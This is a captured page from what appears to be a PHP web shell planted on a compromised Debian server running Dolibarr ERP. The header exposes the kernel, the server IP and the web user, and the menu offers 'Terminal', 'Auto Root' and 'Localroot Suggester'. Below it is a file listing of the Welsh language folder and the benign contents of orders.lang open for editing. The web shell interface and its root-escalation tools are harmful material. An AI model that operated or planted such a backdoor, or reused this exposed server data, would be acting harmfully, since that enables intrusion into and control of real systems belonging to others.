Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
langs /
cy_GB /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
34.3
KB
-rwxr-x---
2023-04-04 15:49
admin.lang
183
KB
-rwxr-x---
2023-04-04 15:49
agenda.lang
9.21
KB
-rwxr-x---
2023-04-04 15:49
assets.lang
7.01
KB
-rwxr-x---
2023-04-04 15:49
banks.lang
9.4
KB
-rwxr-x---
2023-04-04 15:49
bills.lang
35.68
KB
-rwxr-x---
2023-04-04 15:49
blockedlog.lang
5.81
KB
-rwxr-x---
2023-04-04 15:49
bookmarks.lang
1.08
KB
-rwxr-x---
2023-04-04 15:49
boxes.lang
6.85
KB
-rwxr-x---
2023-04-04 15:49
cashdesk.lang
6.89
KB
-rwxr-x---
2023-04-04 15:49
categories.lang
5.53
KB
-rwxr-x---
2023-04-04 15:49
commercial.lang
4.03
KB
-rwxr-x---
2023-04-04 15:49
companies.lang
18.73
KB
-rwxr-x---
2023-04-04 15:49
compta.lang
19.27
KB
-rwxr-x---
2023-04-04 15:49
contracts.lang
5.59
KB
-rwxr-x---
2023-04-04 15:49
cron.lang
6.3
KB
-rwxr-x---
2023-04-04 15:49
datapolicy.lang
4.36
KB
-rwxr-x---
2023-04-04 15:49
deliveries.lang
1.35
KB
-rwxr-x---
2023-04-04 15:49
dict.lang
8.26
KB
-rwxr-x---
2023-04-04 15:49
donations.lang
1.46
KB
-rwxr-x---
2023-04-04 15:49
ecm.lang
3.15
KB
-rwxr-x---
2023-04-04 15:49
errors.lang
34.93
KB
-rwxr-x---
2023-04-04 15:49
eventorganization.lang
9.87
KB
-rwxr-x---
2023-04-04 15:49
exports.lang
11.4
KB
-rwxr-x---
2023-04-04 15:49
help.lang
1.28
KB
-rwxr-x---
2023-04-04 15:49
holiday.lang
7.71
KB
-rwxr-x---
2023-04-04 15:49
hrm.lang
3.53
KB
-rwxr-x---
2023-04-04 15:49
install.lang
19.37
KB
-rwxr-x---
2023-04-04 15:49
interventions.lang
4.06
KB
-rwxr-x---
2023-04-04 15:49
intracommreport.lang
1.39
KB
-rwxr-x---
2023-04-04 15:49
knowledgemanagement.lang
1.9
KB
-rwxr-x---
2023-04-04 15:49
languages.lang
3.38
KB
-rwxr-x---
2023-04-04 15:49
ldap.lang
1.82
KB
-rwxr-x---
2023-04-04 15:49
link.lang
548
B
-rwxr-x---
2023-04-04 15:49
loan.lang
1.54
KB
-rwxr-x---
2023-04-04 15:49
mailmanspip.lang
1.63
KB
-rwxr-x---
2023-04-04 15:49
mails.lang
11.03
KB
-rwxr-x---
2023-04-04 15:49
main.lang
40.18
KB
-rwxr-x---
2023-04-04 15:49
margins.lang
3.27
KB
-rwxr-x---
2023-04-04 15:49
members.lang
14.13
KB
-rwxr-x---
2023-04-04 15:49
modulebuilder.lang
15.77
KB
-rwxr-x---
2023-04-04 15:49
mrp.lang
6.89
KB
-rwxr-x---
2023-04-04 15:49
multicurrency.lang
2.56
KB
-rwxr-x---
2023-04-04 15:49
oauth.lang
2.04
KB
-rwxr-x---
2023-04-04 15:49
opensurvey.lang
3.73
KB
-rwxr-x---
2023-04-04 15:49
orders.lang
9.53
KB
-rwxr-x---
2023-04-04 15:49
other.lang
17.17
KB
-rwxr-x---
2023-04-04 15:49
partnership.lang
3.92
KB
-rwxr-x---
2023-04-04 15:49
paybox.lang
1.95
KB
-rwxr-x---
2023-04-04 15:49
paypal.lang
2.24
KB
-rwxr-x---
2023-04-04 15:49
printing.lang
2.58
KB
-rwxr-x---
2023-04-04 15:49
productbatch.lang
2.66
KB
-rwxr-x---
2023-04-04 15:49
products.lang
22.04
KB
-rwxr-x---
2023-04-04 15:49
projects.lang
17.83
KB
-rwxr-x---
2023-04-04 15:49
propal.lang
5
KB
-rwxr-x---
2023-04-04 15:49
receiptprinter.lang
3.43
KB
-rwxr-x---
2023-04-04 15:49
receptions.lang
2.9
KB
-rwxr-x---
2023-04-04 15:49
recruitment.lang
3.08
KB
-rwxr-x---
2023-04-04 15:49
resource.lang
1.42
KB
-rwxr-x---
2023-04-04 15:49
salaries.lang
1.62
KB
-rwxr-x---
2023-04-04 15:49
sendings.lang
3.47
KB
-rwxr-x---
2023-04-04 15:49
sms.lang
1.66
KB
-rwxr-x---
2023-04-04 15:49
stocks.lang
19.4
KB
-rwxr-x---
2023-04-04 15:49
stripe.lang
5.49
KB
-rwxr-x---
2023-04-04 15:49
supplier_proposal.lang
2.83
KB
-rwxr-x---
2023-04-04 15:49
suppliers.lang
2.81
KB
-rwxr-x---
2023-04-04 15:49
ticket.lang
20.11
KB
-rwxr-x---
2023-04-04 15:49
trips.lang
7.58
KB
-rwxr-x---
2023-04-04 15:49
users.lang
7.49
KB
-rwxr-x---
2023-04-04 15:49
website.lang
16.42
KB
-rwxr-x---
2023-04-04 15:49
withdrawals.lang
10.42
KB
-rwxr-x---
2023-04-04 15:49
workflow.lang
4.44
KB
-rwxr-x---
2023-04-04 15:49
zapier.lang
1.2
KB
-rwxr-x---
2023-04-04 15:49
Save
Rename
# Dolibarr language file - Source file is en_US - orders OrdersArea=Ardal archebion cwsmeriaid SuppliersOrdersArea=Ardal archebion prynu OrderCard=Cerdyn archebu OrderId=Archeb Id Order=Gorchymyn PdfOrderTitle=Gorchymyn Orders=Archebion OrderLine=Llinell archebu OrderDate=Dyddiad archebu OrderDateShort=Dyddiad archebu OrderToProcess=Gorchymyn i brosesu NewOrder=Gorchymyn newydd NewSupplierOrderShort=Gorchymyn newydd NewOrderSupplier=Archeb Brynu Newydd ToOrder=Gwnewch archeb MakeOrder=Gwnewch archeb SupplierOrder=Archeb prynu SuppliersOrders=Archebion prynu SaleOrderLines=Llinellau archeb gwerthu PurchaseOrderLines=Llinellau archeb prynu SuppliersOrdersRunning=Gorchmynion prynu cyfredol CustomerOrder=Gorchymyn Gwerthu CustomersOrders=Gorchmynion Gwerthu CustomersOrdersRunning=Gorchmynion gwerthu cyfredol CustomersOrdersAndOrdersLines=Gorchmynion gwerthu a manylion archeb OrdersDeliveredToBill=Archebion gwerthu yn cael eu danfon i fil OrdersToBill=Gorchmynion gwerthu wedi'u cyflwyno OrdersInProcess=Archebion gwerthu yn y broses OrdersToProcess=Gorchmynion gwerthu i'w prosesu SuppliersOrdersToProcess=Archebion prynu i'w prosesu SuppliersOrdersAwaitingReception=Archebion prynu yn aros am y dderbynfa AwaitingReception=Aros am dderbyniad StatusOrderCanceledShort=Wedi'i ganslo StatusOrderDraftShort=Drafft StatusOrderValidatedShort=Wedi'i ddilysu StatusOrderSentShort=Yn y broses StatusOrderSent=Cludo yn y broses StatusOrderOnProcessShort=Archebwyd StatusOrderProcessedShort=Wedi'i brosesu StatusOrderDelivered=Wedi'i gyflwyno StatusOrderDeliveredShort=Wedi'i gyflwyno StatusOrderToBillShort=Wedi'i gyflwyno StatusOrderApprovedShort=Cymmeradwy StatusOrderRefusedShort=Gwrthodwyd StatusOrderToProcessShort=I brosesu StatusOrderReceivedPartiallyShort=Derbyniwyd yn rhannol StatusOrderReceivedAllShort=Cynhyrchion a dderbyniwyd StatusOrderCanceled=Wedi'i ganslo StatusOrderDraft=Drafft (angen ei ddilysu) StatusOrderValidated=Wedi'i ddilysu StatusOrderOnProcess=Wedi'i archebu - derbyniad wrth gefn StatusOrderOnProcessWithValidation=Wedi'i archebu - Derbyniad neu ddilysiad wrth gefn StatusOrderProcessed=Wedi'i brosesu StatusOrderToBill=Wedi'i gyflwyno StatusOrderApproved=Cymmeradwy StatusOrderRefused=Gwrthodwyd StatusOrderReceivedPartially=Derbyniwyd yn rhannol StatusOrderReceivedAll=Pob cynnyrch a dderbyniwyd ShippingExist=Mae llwyth yn bodoli QtyOrdered=Qty archebu ProductQtyInDraft=Maint y cynnyrch yn orchmynion drafft ProductQtyInDraftOrWaitingApproved=Maint y cynnyrch yn orchmynion drafft neu orchmynion cymeradwy, heb eu harchebu eto MenuOrdersToBill=Archebion wedi eu danfon MenuOrdersToBill2=Gorchmynion bilio ShipProduct=Cynnyrch llong CreateOrder=Creu Gorchymyn RefuseOrder=Gorchymyn gwrthod ApproveOrder=Cymeradwyo archeb Approve2Order=Cymeradwyo archeb (ail lefel) UserApproval=User for approval UserApproval2=User for approval (second level) ValidateOrder=Dilysu archeb UnvalidateOrder=Trefn heb ei ddilysu DeleteOrder=Dileu archeb CancelOrder=Canslo archeb OrderReopened= Archeb %s ail-agor AddOrder=Creu trefn AddSupplierOrderShort=Creu trefn AddPurchaseOrder=Creu archeb brynu AddToDraftOrders=Ychwanegu at y gorchymyn drafft ShowOrder=Dangos trefn OrdersOpened=Gorchmynion i'w prosesu NoDraftOrders=Dim gorchmynion drafft NoOrder=Dim gorchymyn NoSupplierOrder=Dim archeb brynu LastOrders=Gorchmynion gwerthu %s diweddaraf LastCustomerOrders=Gorchmynion gwerthu %s diweddaraf LastSupplierOrders=Gorchmynion prynu %s diweddaraf LastModifiedOrders=Gorchmynion wedi'u haddasu %s diweddaraf AllOrders=Pob archeb NbOfOrders=Nifer yr archebion OrdersStatistics=Ystadegau'r Gorchymyn OrdersStatisticsSuppliers=Ystadegau archeb brynu NumberOfOrdersByMonth=Nifer yr archebion fesul mis AmountOfOrdersByMonthHT=Swm yr archebion fesul mis (ac eithrio treth) ListOfOrders=Rhestr o orchmynion CloseOrder=Trefn agos ConfirmCloseOrder=A ydych yn siŵr eich bod am osod y gorchymyn hwn i'w ddosbarthu? Unwaith y bydd archeb wedi'i chyflwyno, gellir ei osod i'w bilio. ConfirmDeleteOrder=Ydych chi'n siŵr eich bod am ddileu'r gorchymyn hwn? ConfirmValidateOrder=A ydych yn siŵr eich bod am ddilysu'r gorchymyn hwn o dan yr enw <b> %s </b> ? ConfirmUnvalidateOrder=A ydych yn siŵr eich bod am adfer archeb <b> %s </b> i statws drafft? ConfirmCancelOrder=Ydych chi'n siŵr eich bod am ganslo'r archeb hon? ConfirmMakeOrder=A ydych yn siŵr eich bod am gadarnhau eich bod wedi gwneud y gorchymyn hwn ar <b> %s </b> ? GenerateBill=Cynhyrchu anfoneb ClassifyShipped=Dosbarthu a ddanfonwyd PassedInShippedStatus=classified delivered YouCantShipThis=I can't classify this. Please check user permissions DraftOrders=Gorchmynion drafft DraftSuppliersOrders=Gorchmynion prynu drafft OnProcessOrders=Mewn gorchmynion proses RefOrder=Cyf. trefn RefCustomerOrder=Cyf. archeb ar gyfer cwsmer RefOrderSupplier=Cyf. archeb i'r gwerthwr RefOrderSupplierShort=Cyf. gwerthwr archeb SendOrderByMail=Anfon archeb drwy'r post ActionsOnOrder=Digwyddiadau ar archeb NoArticleOfTypeProduct=Dim erthygl o fath 'cynnyrch' felly dim erthygl y gellir ei chludo ar gyfer yr archeb hon OrderMode=Dull archebu AuthorRequest=Awdur cais UserWithApproveOrderGrant=Defnyddwyr a roddwyd gyda chaniatâd "cymeradwyo gorchmynion". PaymentOrderRef=Talu archeb %s ConfirmCloneOrder=A ydych yn siŵr eich bod am glonio'r archeb hon <b> %s </b> ? DispatchSupplierOrder=Yn derbyn archeb brynu %s FirstApprovalAlreadyDone=Cymeradwyaeth gyntaf wedi ei wneud yn barod SecondApprovalAlreadyDone=Ail gymeradwyaeth wedi ei wneud yn barod SupplierOrderReceivedInDolibarr=Derbyniwyd archeb brynu %s %s SupplierOrderSubmitedInDolibarr=Archeb Brynu %s wedi'i gyflwyno SupplierOrderClassifiedBilled=Archeb Brynu %s set bilio OtherOrders=Gorchmynion eraill SupplierOrderValidatedAndApproved=Mae archeb cyflenwr yn cael ei ddilysu a'i gymeradwyo: %s SupplierOrderValidated=Gorchymyn cyflenwr yn cael ei ddilysu: %s ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Cynrychiolydd yn dilyn gorchymyn gwerthu TypeContact_commande_internal_SHIPPING=Cynrychiolydd dilynol llongau TypeContact_commande_external_BILLING=Cyswllt anfoneb cwsmer TypeContact_commande_external_SHIPPING=Cyswllt cludo cwsmeriaid TypeContact_commande_external_CUSTOMER=Cyswllt cwsmer yn dilyn gorchymyn TypeContact_order_supplier_internal_SALESREPFOLL=Cynrychiolydd yn dilyn archeb brynu TypeContact_order_supplier_internal_SHIPPING=Cynrychiolydd dilynol llongau TypeContact_order_supplier_external_BILLING=Cyswllt anfoneb y gwerthwr TypeContact_order_supplier_external_SHIPPING=Cyswllt cludo gwerthwr TypeContact_order_supplier_external_CUSTOMER=Gorchymyn dilynol cyswllt gwerthwr Error_COMMANDE_SUPPLIER_ADDON_NotDefined=Cyson COMMANDE_SUPPLIER_ADDON heb ei ddiffinio Error_COMMANDE_ADDON_NotDefined=Cyson COMMANDE_ADDON heb ei ddiffinio Error_OrderNotChecked=Dim archebion i anfonebu wedi'u dewis # Order modes (how we receive order). Not the "why" are keys stored into dict.lang OrderByMail=Post OrderByFax=Ffacs OrderByEMail=Ebost OrderByWWW=Ar-lein OrderByPhone=Ffon # Documents models PDFEinsteinDescription=Model trefn gyflawn (hen weithrediad templed Eratosthene) PDFEratostheneDescription=Model archeb gyflawn PDFEdisonDescription=Model trefn syml PDFProformaDescription=Templed anfoneb Proforma cyflawn CreateInvoiceForThisCustomer=Gorchmynion biliau CreateInvoiceForThisSupplier=Gorchmynion biliau CreateInvoiceForThisReceptions=Derbyniadau biliau NoOrdersToInvoice=Dim archebion i'w bilio CloseProcessedOrdersAutomatically=Dosbarthwch "Prosesu" pob archeb a ddewiswyd. OrderCreation=Creu archeb Ordered=Archebwyd OrderCreated=Mae eich archebion wedi'u creu OrderFail=Digwyddodd gwall wrth greu eich archebion CreateOrders=Creu archebion ToBillSeveralOrderSelectCustomer=I greu anfoneb ar gyfer sawl archeb, cliciwch yn gyntaf ar y cwsmer, yna dewiswch "%s". OptionToSetOrderBilledNotEnabled=Nid yw'r opsiwn o Llif Gwaith modiwl, i osod trefn i 'Bilio' yn awtomatig pan fydd anfoneb yn cael ei dilysu, wedi'i alluogi, felly bydd yn rhaid i chi osod statws archebion i 'Bil' â llaw ar ôl i'r anfoneb gael ei chynhyrchu. IfValidateInvoiceIsNoOrderStayUnbilled=Os mai 'Na' yw dilysiad anfoneb, bydd yr archeb yn aros i'r statws 'Heb bil' nes bod yr anfoneb wedi'i dilysu. CloseReceivedSupplierOrdersAutomatically=Trefn agos i statws "%s" yn awtomatig os derbynnir yr holl gynhyrchion. SetShippingMode=Gosod modd cludo WithReceptionFinished=Gyda'r derbyniad wedi'i orffen #### supplier orders status StatusSupplierOrderCanceledShort=Wedi'i ganslo StatusSupplierOrderDraftShort=Drafft StatusSupplierOrderValidatedShort=Wedi'i ddilysu StatusSupplierOrderSentShort=Yn y broses StatusSupplierOrderSent=Cludo yn y broses StatusSupplierOrderOnProcessShort=Archebwyd StatusSupplierOrderProcessedShort=Wedi'i brosesu StatusSupplierOrderDelivered=Wedi'i gyflwyno StatusSupplierOrderDeliveredShort=Wedi'i gyflwyno StatusSupplierOrderToBillShort=Wedi'i gyflwyno StatusSupplierOrderApprovedShort=Cymmeradwy StatusSupplierOrderRefusedShort=Gwrthodwyd StatusSupplierOrderToProcessShort=I brosesu StatusSupplierOrderReceivedPartiallyShort=Derbyniwyd yn rhannol StatusSupplierOrderReceivedAllShort=Cynhyrchion a dderbyniwyd StatusSupplierOrderCanceled=Wedi'i ganslo StatusSupplierOrderDraft=Drafft (angen ei ddilysu) StatusSupplierOrderValidated=Wedi'i ddilysu StatusSupplierOrderOnProcess=Wedi'i archebu - derbyniad wrth gefn StatusSupplierOrderOnProcessWithValidation=Wedi'i archebu - Derbyniad neu ddilysiad wrth gefn StatusSupplierOrderProcessed=Wedi'i brosesu StatusSupplierOrderToBill=Wedi'i gyflwyno StatusSupplierOrderApproved=Cymmeradwy StatusSupplierOrderRefused=Gwrthodwyd StatusSupplierOrderReceivedPartially=Derbyniwyd yn rhannol StatusSupplierOrderReceivedAll=Pob cynnyrch a dderbyniwyd